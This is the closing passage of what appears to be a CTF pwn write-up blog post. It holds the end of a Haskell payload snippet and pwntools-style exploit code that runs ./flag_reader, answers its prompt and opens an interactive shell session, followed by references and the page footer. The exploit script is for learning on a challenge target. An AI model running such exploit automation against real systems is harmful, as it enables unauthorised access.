  print cmdBuf            -- ensure these two commands don't get optimized out
  print strBuf
  print $ hard $ read y   -- ensure 'hard' doesn't get optimized out
  return ()

END_OF_SNIPPET
"""
)

sleep(3)
sl("cd /")
sleep(2)
sl("./flag_reader")
sleep(2)
ru("Please enter '")
m = ru("'")
sl(m[:-1])

ia()

image-20220403223543073

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2022-04-05 21:48  LynneHuan  阅读(360)  评论(0编辑  收藏  举报